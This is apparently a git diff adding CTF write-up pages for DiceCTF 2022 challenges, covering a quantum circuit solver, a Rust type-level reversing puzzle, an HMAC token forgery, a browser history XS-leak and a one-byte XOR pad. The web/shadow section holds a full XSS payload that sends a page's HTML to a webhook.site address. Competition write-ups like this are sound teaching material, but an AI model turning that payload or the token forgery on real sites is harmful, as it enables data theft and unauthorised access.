The following solution is essentially a quantum disassembler. For each single-qubit chain of H and T gates, it multiplies the gates together to determine what the quantum operator is. Then it determines that the corresponding Z-rotation angle is for this operator.

+

Once all the rotation angles have been recovered, extracting the number being added (ie the flag) proceeds identically to quantum-rev 2 from last year.

+
from math import pi, log2
+import numpy as np
+
+
+# hadamard gate
+H = 1/np.sqrt(2)*np.array([[1, 1],
+                           [1,-1]], dtype=np.complex128)
+# T-phase gate
+T = np.array([[1, 0],
+              [0, np.exp(1j * pi/4)]], dtype=np.complex128)
+# identity operator
+I = np.array([[1, 0],
+              [0, 1]], dtype=np.complex128)
+
+
+########################################
+
+# num qubits
+n = 256
+# max error
+epsilon = 1e-4
+
+
+"""
+look for the start/end of the QFT.
+This includes a few extra gates (from the QFT)
+for qubit 0 and 1, so we just ignore those
+"""
+
+idcs = []
+with open("converted_circuit.qasm", "r")  as f:
+    for i,line in enumerate(f):
+        if line == "cx q[1],q[0];\n":
+            idcs.append(i)
+            # print(i)
+
+i0 = idcs[1]
+i1 = idcs[2]
+
+lines = open("converted_circuit.qasm", "r").readlines()
+idcs = [i for i,line in enumerate(lines)]
+gates = lines[i0 + 1:i1 - 1]
+
+
+########################################
+
+unitaries = [I for _ in range(n)]
+
+for line in gates:
+    instr = line[0]
+    qubit = line[line.find("[")+1:line.find("]")]
+    qubit = int(qubit)
+
+    i = qubit
+    if instr == 't':
+        unitaries[i] = unitaries[i] @ T
+    elif instr == 'h':
+        unitaries[i] = unitaries[i] @ H
+    else:
+        raise ValueError("invalid gate")
+
+
+# correct for QFT spillover
+for i in range(3):
+    unitaries[i] = I
+
+########################################
+
+binary_reprs = ""
+unitaries = unitaries
+
+for i,u in enumerate(unitaries):
+    delta = np.abs(u) - I
+    if np.max(np.abs(delta)) > epsilon:
+        raise ValueError("unitary is not approximately a phase gate")
+
+    u /= u[0][0]
+    angle = np.angle(u[1][1])
+
+    b = str(int(angle < 0))
+    binary_reprs += b
+
+
+flag = int(binary_reprs[::-1], 2).to_bytes(n//8, "little")
+# first character is wrong b/c we included some extra QFT gates lol
+flag = b"d" + flag[1:]
+print(flag)
+
+

However, during the competition the only solves were from a very amusing approach -- just run the program and it prints out the flag! Apparently the circuit simulator used in qiskit is able to very efficiently emulate the circuit in this problem without ever constructing the full statevector. The statevector has length 2^256, so I had assumed that classically simulating the output would be completely impossible. Clearly, the IBM engineers and scientists behind qiskit deserve a raise >_<.

+

The runtime of the below script for me is 45 minutes and it takes < 4 gigs of ram -- much less than 2^256!

+
from qiskit import QuantumCircuit, Aer, execute
+simulator = Aer.get_backend('aer_simulator')
+qc = QuantumCircuit.from_qasm_file("converted_circuit.qasm")
+
+# add some measurement gates at the end
+qubits = list(range(256))
+qc.measure(qubits, qubits)
+job = execute(qc, simulator)
+result = job.result()
+print(result.get_counts())
+
+num_chars = 256 // 8
+x = list(result.get_counts().keys())[0]
+f = int(x, 2).to_bytes(num_chars, "little")
+print(f)
+
+

web/knock-knock

+

This challenge gives a pastebin where notes are accessed by id and token. The tokens are generated as follows:

+
  generateToken(id) {
+    return crypto
+      .createHmac('sha256', this.secret)
+      .update(id.toString())
+      .digest('hex');
+  }
+
+

This looks okay, as long as the secret is chosen securely. Let's take a look at where that comes from:

+
  constructor() {
+    this.notes = [];
+    this.secret = `secret-${crypto.randomUUID}`;
+  }
+
+

If you are careful, you can spot the issue here: crypto.randomUUID is a function, but it is not called. Let's see what this looks like:

+
> const crypto = require('crypto')
+undefined
+> const secret = `secret-${crypto.randomUUID}`;
+undefined
+> secret
+'secret-function randomUUID(options) {\n' +
+  '  if (options !== undefined)\n' +
+  "    validateObject(options, 'options');\n" +
+  '  const {\n' +
+  '    disableEntropyCache = false,\n' +
+  '  } = options || {};\n' +
+  '\n' +
+  "  validateBoolean(disableEntropyCache, 'options.disableEntropyCache');\n" +
+  '\n' +
+  '  return disableEntropyCache ? getUnbufferedUUID() : getBufferedUUID();\n' +
+  '}'
+> 
+
+

Well, it looks like we know the secret. Looking at the source, we see that the flag is at id=0, so we generate a token for that:

+
> crypto.createHmac('sha256', secret).update('0').digest('hex')
+'7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264'
+
+

Making a request to

+
https://knock-knock.mc.ax/note?id=0&token=7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264
+
+

gives us the flag.

+

web/dicevault

+

tl;dr use a combination of history.go(-x) and undocumented history.length xsleak to guess the location of a window and brute force flag path directory-by-directory.

+

unintended: open vault window, redirect to your origin and get it to click vault buttons on your origin :(

+
      async function isLocation(win, url) {
+        win.location = "about:blank";
+        await sleep();
+        const hlen1 = win.history.length;
+        win.history.go(-1);
+        await sleep();
+        win.location = url + "#zzzzz";
+        win.location = "about:blank";
+        await sleep();
+        const hlen2 = win.history.length;
+
+        // reset history to initial state before running this function
+        if (hlen1 + 1 === hlen2) {
+          win.history.go(-2);
+        } else if (hlen1 === hlen2) {
+          win.history.go(-1);
+        }
+        return hlen1 + 1 === hlen2;
+      }
+
+

web/shadow

+

full solution:

+
https://shadow.mc.ax/?x=%3Cimg%20src%3D%22x%22%20onerror%3D%22find(%27steal%27)%3Bdocument.execCommand(%27insertHTML%27%2C%20false%2C%20%60%3Csvg%20onload%3D%26%2334%3Bwindow.location%3D%27https%3A%2F%2Fwebhook.site%2Fa602d76c-28a3-4e0a-8793-b183bc9bfba4%3Fa%3D%27%2BencodeURIComponent(this.parentNode.innerHTML)%26%2334%3B%3E%60)%3B%22%3E&y=-webkit-user-modify:%20read-write;
+
+

css payload:

+
-webkit-user-modify: read-write;
+
+

js payload:

+
find('steal');
+document.execCommand('insertHTML', false, `<svg onload="window.location='https://webhook.site/a602d76c-28a3-4e0a-8793-b183bc9bfba4?a='+encodeURIComponent(this.parentNode.innerHTML)">`);
+
+

Use the obscure -webkit-user-modify property to make the div inside the shadowDOM editable then document.execCommand("insertHTML","payload") to write HTML inside it and get code execution inside the shadowDOM context.

+

We can easily exfiltrate despite the CSP by setting window.location

+

rev/typed

+

Here's the original version of the code before macro expansion (and with the flag added in):

+
#![recursion_limit = "10000"]
+// #![allow(dead_code, unused_macros)]
+
+use std::marker::PhantomData;
+
+macro_rules! mktype {
+    ($name: ident) => {
+        struct $name;
+    };
+
+    ($name: ident<$($t: ident),*>) => {
+        struct $name<$($t),*>($(PhantomData<$t>),*);
+    }
+}
+
+macro_rules! mktrait {
+    ($name: ident) => {
+        trait $name {
+            type Output;
+        }
+    };
+    ($name: ident<$($arg: ident),*>) => {
+        trait $name<$($arg),*> {
+            type Output;
+        }
+    }
+}
+
+macro_rules! mkimpl {
+    ($name: ident<$($gen: ident),*>[$($cgen: ty : $cons: path),*]($firstarg: ty $(, $arg: ty)*) = $output: ty) => {
+        impl<$($gen),*> $name<$($arg),*> for $firstarg
+        where
+            $($cgen: $cons),*
+        {
+            type Output = $output;
+        }
+    }
+}
+
+macro_rules! mkout {
+    ($name: ident, $firstarg: ty $(, $arg: ty)*) => {
+        <$firstarg as $name<$($arg),*>>::Output
+    }
+}
+
+mktype!(S<T>);
+mktype!(Z);
+mktrait!(Add<O>);
+mkimpl!(Add<T>[](T, Z) = T);
+mkimpl!(Add<T, K>[T: Add<K>](T, S<K>) = S<mkout!(Add, T, K)>);
+mktrait!(Mul<O>);
+mkimpl!(Mul<T>[](T, Z) = Z);
+mkimpl!(Mul<T, K>[T: Mul<K>, T: Add<mkout!(Mul, T, K)>](T, S<K>) = mkout!(Add, T, mkout!(Mul, T, K)));
+mktrait!(Sub<O>);
+mkimpl!(Sub<T>[](T, Z) = T);
+mkimpl!(Sub<T, K>[T: Sub<K>](S<T>, S<K>) = mkout!(Sub, T, K));
+mktrait!(Neq<O>);
+mkimpl!(Neq<>[](Z, Z) = Z);
+mkimpl!(Neq<T>[](S<T>, Z) = S<Z>);
+mkimpl!(Neq<T>[](Z, S<T>) = S<Z>);
+mkimpl!(Neq<T, K>[T: Neq<K>](S<T>, S<K>) = mkout!(Neq, T, K));
+
+mktype!(Nil);
+mktype!(Cons<H, T>);
+
+macro_rules! mklist {
+    () => { Nil };
+    ($first: ty $(, $rest: ty)*) => {
+        Cons<$first, mklist!($($rest),*)>
+    }
+}
+
+macro_rules! mkcons {
+    ($first: ty) => { $first };
+    ($first: ty $(, $rest: ty)*) => {
+        Cons<$first, mkcons!($($rest),*)>
+    }
+}
+
+mktrait!(Eval);
+
+macro_rules! mkfunc {
+    ($name: ident) => {
+        mktype!($name);
+        mkimpl!(Eval<>[]($name) = $name);
+    }
+}
+
+mkfunc!(AddFunc);
+mkfunc!(MulFunc);
+mkfunc!(SubFunc);
+mkfunc!(ConsFunc);
+mkfunc!(RawList);
+mkfunc!(GetLast);
+mkfunc!(AssertEq);
+mkfunc!(AssertNeq);
+mkfunc!(MapFunc);
+mkfunc!(MkConstraint);
+mkfunc!(MkNConstraint);
+mkfunc!(FirstOf3);
+mkfunc!(RestOf3);
+mkfunc!(ApplyFunc);
+
+mkimpl!(Eval<>[](Z) = Z);
+mkimpl!(Eval<T>[](S<T>) = S<T>);
+mkimpl!(Eval<>[](Cons<RawList, Nil>) = Nil);
+mkimpl!(Eval<H, T>[H: Eval](Cons<RawList, Cons<H, T>>) = Cons<mkout!(Eval, H), T>);
+mkimpl!(
+    Eval<A, B>[A: Eval, B: Eval, mkout!(Eval, A): Sub<mkout!(Eval, B)>](mklist!(SubFunc, A, B)) =
+        mkout!(Sub, mkout!(Eval, A), mkout!(Eval, B))
+);
+mkimpl!(Eval<T>[T: Eval](Cons<GetLast, mklist!(T)>) = mkout!(Eval, T));
+mkimpl!(
+    Eval<T, K, R>[mkcons!(GetLast, K, R): Eval, T: Eval](mkcons!(GetLast, T, K, R)) =
+        mkout!(Eval, mkcons!(GetLast, K, R))
+);
+mkimpl!(Eval<T>[](Cons<AssertEq, mklist!(T)>) = Z);
+mkimpl!(
+    Eval<T, K, R>
+        [T: Eval, K: Eval, mkout!(Eval, T): Sub<mkout!(Eval, K)>, mkout!(Eval, K): Sub<mkout!(Eval, T)>, mkcons!(AssertEq, K, R): Eval]
+        (mkcons!(AssertEq, T, K, R)) =
+        mkout!(Eval, mkcons!(AssertEq, K, R))
+);
+mkimpl!(
+    Eval<T, K>
+        [T: Eval, K: Eval, mkout!(Eval, T): Neq<mkout!(Eval, K)>, mkout!(Neq, mkout!(Eval, T), mkout!(Eval, K)): Sub<S<Z>>]
+        (Cons<AssertNeq, mklist!(T, K)>) =
+        Z
+);
+mkimpl!(Eval<F>[](mklist!(MapFunc, F)) = Nil);
+mkimpl!(
+    Eval<F, H, T>
+        [mklist!(F, H): Eval, mkcons!(MapFunc, F, T): Eval]
+        (mkcons!(MapFunc, F, H, T)) =
+        Cons<mkout!(Eval, mklist!(F, H)), mkout!(Eval, mkcons!(MapFunc, F, T))>
+);
+mkimpl!(Eval<F, A, B, T>[](mklist!(MkConstraint, mklist!(F, A, B, T))) = mklist!(AssertEq, mklist!(F, A, B), T));
+mkimpl!(Eval<F, A, B, T>[](mklist!(MkNConstraint, mklist!(F, A, B, T))) = mklist!(AssertNeq, mklist!(F, A, B), T));
+mkimpl!(Eval<>[](mklist!(FirstOf3)) = Nil);
+mkimpl!(Eval<A, B, C, T>[Cons<FirstOf3, T>: Eval](mkcons!(FirstOf3, A, B, C, T)) = Cons<A, mkout!(Eval, Cons<FirstOf3, T>)>);
+mkimpl!(Eval<>[](mklist!(RestOf3)) = Nil);
+mkimpl!(Eval<A, B, C, T>[Cons<RestOf3, T>: Eval](mkcons!(RestOf3, A, B, C, T)) = mkcons!(B, C, mkout!(Eval, Cons<RestOf3, T>)));
+mkimpl!(
+    Eval<F, T>[T: Eval, Cons<F, mkout!(Eval, T)>: Eval](mklist!(ApplyFunc, F, T)) =
+        mkout!(Eval, Cons<F, mkout!(Eval, T)>)
+);
+mkimpl!(Eval<T>[T: Eval](mklist!(ConsFunc, T)) = mkout!(Eval, T));
+mkimpl!(Eval<H, T>[Cons<ConsFunc, T>: Eval](mkcons!(ConsFunc, H, T)) = Cons<H, mkout!(Eval, Cons<ConsFunc, T>)>);
+
+macro_rules! mkfold {
+    ($fc: ident, $f: ident, $empty: ty, [$t: ident] $one: ty) => {
+        mkimpl!(Eval<>[](mklist!($fc)) = $empty);
+        mkimpl!(Eval<$t>[$t: Eval](mklist!($fc, $t)) = $one);
+        mkimpl!(
+            Eval<H1, H2, T>
+            [H2: Eval, H1: $f<mkout!(Eval, H2)>, mkcons!($fc, mkout!($f, H1, mkout!(Eval, H2)), T): Eval]
+            (Cons<$fc, Cons<H1, Cons<H2, T>>>)
+            = mkout!(Eval, mkcons!($fc, mkout!($f, H1, mkout!(Eval, H2)), T))
+        );
+    }
+}
+
+mkfold!(AddFunc, Add, Z, [T] T);
+mkfold!(MulFunc, Mul, S<Z>, [T] T);
+
+type Ten = S<S<S<S<S<S<S<S<S<S<Z>>>>>>>>>>;
+type Hundred = mkout!(Mul, Ten, Ten);
+
+trait AsChar { const CHAR: char; }
+type Char_ = Z;
+impl AsChar for Char_ { const CHAR: char = '_'; }
+type Char0 = S<Z>;
+impl AsChar for Char0 { const CHAR: char = '0'; }
+type Char1 = S<S<Z>>;
+impl AsChar for Char1 { const CHAR: char = '1'; }
+type Char2 = S<S<S<Z>>>;
+impl AsChar for Char2 { const CHAR: char = '2'; }
+type Char3 = S<S<S<S<Z>>>>;
+impl AsChar for Char3 { const CHAR: char = '3'; }
+type Char4 = S<S<S<S<S<Z>>>>>;
+impl AsChar for Char4 { const CHAR: char = '4'; }
+type Char5 = S<S<S<S<S<S<Z>>>>>>;
+impl AsChar for Char5 { const CHAR: char = '5'; }
+type Char6 = S<S<S<S<S<S<S<Z>>>>>>>;
+impl AsChar for Char6 { const CHAR: char = '6'; }
+type Char7 = S<S<S<S<S<S<S<S<Z>>>>>>>>;
+impl AsChar for Char7 { const CHAR: char = '7'; }
+type Char8 = S<S<S<S<S<S<S<S<S<Z>>>>>>>>>;
+impl AsChar for Char8 { const CHAR: char = '8'; }
+type Char9 = mkout!(Add, mkout!(Mul, Ten, S<Z>), Z);
+impl AsChar for Char9 { const CHAR: char = '9'; }
+type CharA = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<Z>);
+impl AsChar for CharA { const CHAR: char = 'a'; }
+type CharB = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<Z>>);
+impl AsChar for CharB { const CHAR: char = 'b'; }
+type CharC = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<Z>>>);
+impl AsChar for CharC { const CHAR: char = 'c'; }
+type CharD = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<Z>>>>);
+impl AsChar for CharD { const CHAR: char = 'd'; }
+type CharE = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<Z>>>>>);
+impl AsChar for CharE { const CHAR: char = 'e'; }
+type CharF = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<S<Z>>>>>>);
+impl AsChar for CharF { const CHAR: char = 'f'; }
+type CharG = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<S<S<Z>>>>>>>);
+impl AsChar for CharG { const CHAR: char = 'g'; }
+type CharH = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<S<S<S<Z>>>>>>>>);
+impl AsChar for CharH { const CHAR: char = 'h'; }
+type CharI = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<S<S<S<S<Z>>>>>>>>>);
+impl AsChar for CharI { const CHAR: char = 'i'; }
+type CharJ = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), Z);
+impl AsChar for CharJ { const CHAR: char = 'j'; }
+type CharK = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<Z>);
+impl AsChar for CharK { const CHAR: char = 'k'; }
+type CharL = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<Z>>);
+impl AsChar for CharL { const CHAR: char = 'l'; }
+type CharM = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<Z>>>);
+impl AsChar for CharM { const CHAR: char = 'm'; }
+type CharN = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<Z>>>>);
+impl AsChar for CharN { const CHAR: char = 'n'; }
+type CharO = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<Z>>>>>);
+impl AsChar for CharO { const CHAR: char = 'o'; }
+type CharP = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<Z>>>>>>);
+impl AsChar for CharP { const CHAR: char = 'p'; }
+type CharQ = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<Z>>>>>>>);
+impl AsChar for CharQ { const CHAR: char = 'q'; }
+type CharR = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<S<Z>>>>>>>>);
+impl AsChar for CharR { const CHAR: char = 'r'; }
+type CharS = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<S<S<Z>>>>>>>>>);
+impl AsChar for CharS { const CHAR: char = 's'; }
+type CharT = mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), Z);
+impl AsChar for CharT { const CHAR: char = 't'; }
+type CharU = mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), S<Z>);
+impl AsChar for CharU { const CHAR: char = 'u'; }
+type CharV = mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), S<S<Z>>);
+impl AsChar for CharV { const CHAR: char = 'v'; }
+type CharW = mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), S<S<S<Z>>>);
+impl AsChar for CharW { const CHAR: char = 'w'; }
+type CharX = mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), S<S<S<S<Z>>>>);
+impl AsChar for CharX { const CHAR: char = 'x'; }
+type CharY = mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), S<S<S<S<S<Z>>>>>);
+impl AsChar for CharY { const CHAR: char = 'y'; }
+type CharZ = mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), S<S<S<S<S<S<Z>>>>>>);
+impl AsChar for CharZ { const CHAR: char = 'z'; }
+type Flag0 = CharL;
+type Flag1 = Char1;
+type Flag2 = CharS;
+type Flag3 = CharP;
+type Flag4 = Char_;
+type Flag5 = CharI;
+type Flag6 = CharN;
+type Flag7 = CharS;
+type Flag8 = CharI;
+type Flag9 = CharD;
+type Flag10 = Char3;
+type Flag11 = Char_;
+type Flag12 = CharR;
+type Flag13 = CharU;
+type Flag14 = CharS;
+type Flag15 = Char7;
+type Flag16 = Char_;
+type Flag17 = Char9;
+type Flag18 = CharA;
+type Flag19 = CharF;
+type Flag20 = CharH;
+type Flag21 = Char1;
+type Flag22 = CharN;
+type Flag23 = Char2;
+type Flag24 = Char3;
+type Constraints = mklist!(mklist!(AddFunc, Flag11, Flag13, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<S<Z>>>>>>>>)), mklist!(MulFunc, Flag1, Flag9, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<S<Z>>>>>>>>)), mklist!(SubFunc, Flag20, Flag4, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<S<S<S<Z>>>>>>>>)), mklist!(SubFunc, Flag0, Flag5, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<Z>>>)), mklist!(SubFunc, Flag3, Flag16, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<Z>>>>>>)), mklist!(SubFunc, Flag12, Flag11, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<S<Z>>>>>>>>)), mklist!(SubFunc, Flag18, Flag17, Z), mklist!(MulFunc, Flag20, Flag11, Z), mklist!(SubFunc, Flag5, Flag9, S<S<S<S<S<Z>>>>>), mklist!(MulFunc, Flag2, Flag4, S<S<S<S<S<Z>>>>>), mklist!(SubFunc, Flag0, Flag15, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<Z>>>>)), mklist!(SubFunc, Flag8, Flag24, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<Z>>>>>)), mklist!(AddFunc, Flag11, Flag7, mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), S<S<S<Z>>>)), mklist!(SubFunc, Flag14, Flag21, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<Z>>>>>>>)), mklist!(MulFunc, Flag4, Flag16, Z), mklist!(MulFunc, Flag21, Flag3, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<S<S<S<S<S<S<S<S<Z>>>>>>>>>)), mklist!(AddFunc, Flag24, Flag16, S<S<S<S<Z>>>>), mklist!(SubFunc, Flag3, Flag0, S<S<S<S<Z>>>>), mklist!(AddFunc, Flag11, Flag10, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<Z>>>)), mklist!(SubFunc, Flag7, Flag15, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<Z>)), mklist!(AddFunc, Flag18, Flag5, mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), Z)), mklist!(MulFunc, Flag18, Flag11, S<S<S<S<S<Z>>>>>), mklist!(SubFunc, Flag7, Flag21, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<Z>>>>>>>)), mklist!(MulFunc, Flag13, Flag18, mkout!(Add, mkout!(Mul, Hundred, S<S<S<Z>>>), mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<Z>))), mklist!(SubFunc, Flag20, Flag15, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<Z>>>)), mklist!(SubFunc, Flag19, Flag23, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<Z>>>)), mklist!(AddFunc, Flag14, Flag20, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<S<S<S<S<S<S<Z>>>>>>>)), mklist!(MulFunc, Flag21, Flag4, mkout!(Add, mkout!(Mul, Ten, S<Z>), Z)), mklist!(AddFunc, Flag10, Flag2, mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), S<S<S<Z>>>)), mklist!(SubFunc, Flag20, Flag10, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<Z>>>>)), mklist!(MulFunc, Flag17, Flag0, mkout!(Add, mkout!(Mul, Hundred, S<S<Z>>), mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<S<S<S<S<Z>>>>>>>>>))), mklist!(SubFunc, Flag22, Flag23, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<Z>)), mklist!(MulFunc, Flag15, Flag18, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<S<S<S<S<Z>>>>>>>>), S<S<S<S<S<S<S<S<Z>>>>>>>>)), mklist!(AddFunc, Flag12, Flag6, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<S<S<S<S<S<Z>>>>>>)), mklist!(MulFunc, Flag22, Flag24, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<S<S<S<S<S<Z>>>>>>>>>), S<S<S<S<S<S<Z>>>>>>)), mklist!(MulFunc, Flag0, Flag23, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<S<S<Z>>>>>>), S<S<S<S<S<S<Z>>>>>>)), mklist!(MulFunc, Flag0, Flag5, mkout!(Add, mkout!(Mul, Hundred, S<S<S<S<Z>>>>), S<S<S<S<S<S<S<S<Z>>>>>>>>)), mklist!(SubFunc, Flag8, Flag11, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<S<S<S<S<Z>>>>>>>>>)), mklist!(AddFunc, Flag19, Flag13, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<S<S<S<S<S<S<Z>>>>>>>)), mklist!(SubFunc, Flag7, Flag12, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<Z>)), mklist!(MulFunc, Flag17, Flag22, mkout!(Add, mkout!(Mul, Hundred, S<S<Z>>), mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), Z))), mklist!(AddFunc, Flag16, Flag14, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<S<S<Z>>>>>>>>>)), mklist!(AddFunc, Flag24, Flag18, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<Z>>>>)), mklist!(SubFunc, Flag19, Flag4, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<S<Z>>>>>>)), mklist!(AddFunc, Flag24, Flag3, mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), Z)), mklist!(SubFunc, Flag0, Flag16, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<Z>>)), mklist!(MulFunc, Flag10, Flag5, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<S<S<S<Z>>>>>>>), S<S<S<S<S<S<Z>>>>>>)), mklist!(SubFunc, Flag20, Flag19, S<S<Z>>), mklist!(MulFunc, Flag12, Flag16, S<S<S<S<S<Z>>>>>), mklist!(MulFunc, Flag24, Flag12, mkout!(Add, mkout!(Mul, Hundred, S<Z>), mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<Z>>))), mklist!(SubFunc, Flag24, Flag16, S<S<S<S<Z>>>>), mklist!(AddFunc, Flag12, Flag15, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<S<S<S<S<Z>>>>>)), mklist!(AddFunc, Flag1, Flag20, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), Z)), mklist!(MulFunc, Flag1, Flag17, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), Z)), mklist!(AddFunc, Flag5, Flag11, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<Z>>>>>>)), mklist!(SubFunc, Flag5, Flag18, S<S<S<S<S<S<S<S<Z>>>>>>>>), mklist!(AddFunc, Flag16, Flag22, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<Z>>>>)), mklist!(MulFunc, Flag14, Flag3, mkout!(Add, mkout!(Mul, Hundred, S<S<S<S<S<S<S<Z>>>>>>>), mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<S<S<S<S<S<S<Z>>>>>>>))), mklist!(MulFunc, Flag6, Flag21, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<S<S<S<S<S<S<S<Z>>>>>>>>)), mklist!(AddFunc, Flag6, Flag22, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<S<S<S<S<S<S<S<Z>>>>>>>>)));
+fn print_flag() { println!("dice{{{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}}}", Flag0::CHAR, Flag1::CHAR, Flag2::CHAR, Flag3::CHAR, Flag4::CHAR, Flag5::CHAR, Flag6::CHAR, Flag7::CHAR, Flag8::CHAR, Flag9::CHAR, Flag10::CHAR, Flag11::CHAR, Flag12::CHAR, Flag13::CHAR, Flag14::CHAR, Flag15::CHAR, Flag16::CHAR, Flag17::CHAR, Flag18::CHAR, Flag19::CHAR, Flag20::CHAR, Flag21::CHAR, Flag22::CHAR, Flag23::CHAR, Flag24::CHAR); }
+
+type NConstraints = mklist!(ApplyFunc, MapFunc, mklist!(ConsFunc, MkNConstraint, mkcons!(FirstOf3, Constraints)));
+type EConstraints = mklist!(ApplyFunc, MapFunc, mklist!(ConsFunc, MkConstraint, mkcons!(RestOf3, Constraints)));
+type Program = mklist!(GetLast, mklist!(ApplyFunc, GetLast, NConstraints), mklist!(ApplyFunc, GetLast, EConstraints));
+type Fin = mkout!(Eval, Program);
+
+fn main() {
+    print_flag();
+    let _: Fin = panic!();
+}
+
+

It essentially creates a lisp-like language, and a list of 60 constraints. The constraints are of the form (flag[i] op flag[j]) cmp x, where op is addition, subtraction, or multiplication, and cmp is either equality or inequality. Every 3rd constraint is inequality and the rest are equality.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/DiceCTF Hope/index.html b/Writeup/DiceCTF Hope/index.html new file mode 100644 index 000000000..d2d9ab1f0 --- /dev/null +++ b/Writeup/DiceCTF Hope/index.html @@ -0,0 +1,8526 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + DiceCTF 2022 @Hope Writeup - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

DiceCTF 2022 @Hope Writeup

+

DiceCTF @Hope is a nice competition, I worked with Frankss and Monad to solve the challenges. Our final rank is #21.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CategoriesSolvedWriteup
crypto6/8jump
misc5/8TBA
pwn3/5TBA
rev5/11TBA
web7/10TBA
+

Crypto

+

obp

+
+

The unbreakable One Byte Pad

+

by BrownieInMotion

+
+

The given python script uses One Time Pad to encrypt the message. However, the perfectly security of the OTP only happens when the length of the key is as the same as the plaintext.

+
import random
+
+with open('flag.txt', 'rb') as f:
+    plaintext = f.read()
+
+key = random.randrange(256)
+ciphertext = [key ^ byte for byte in plaintext]
+
+with open('output.txt', 'w') as f:
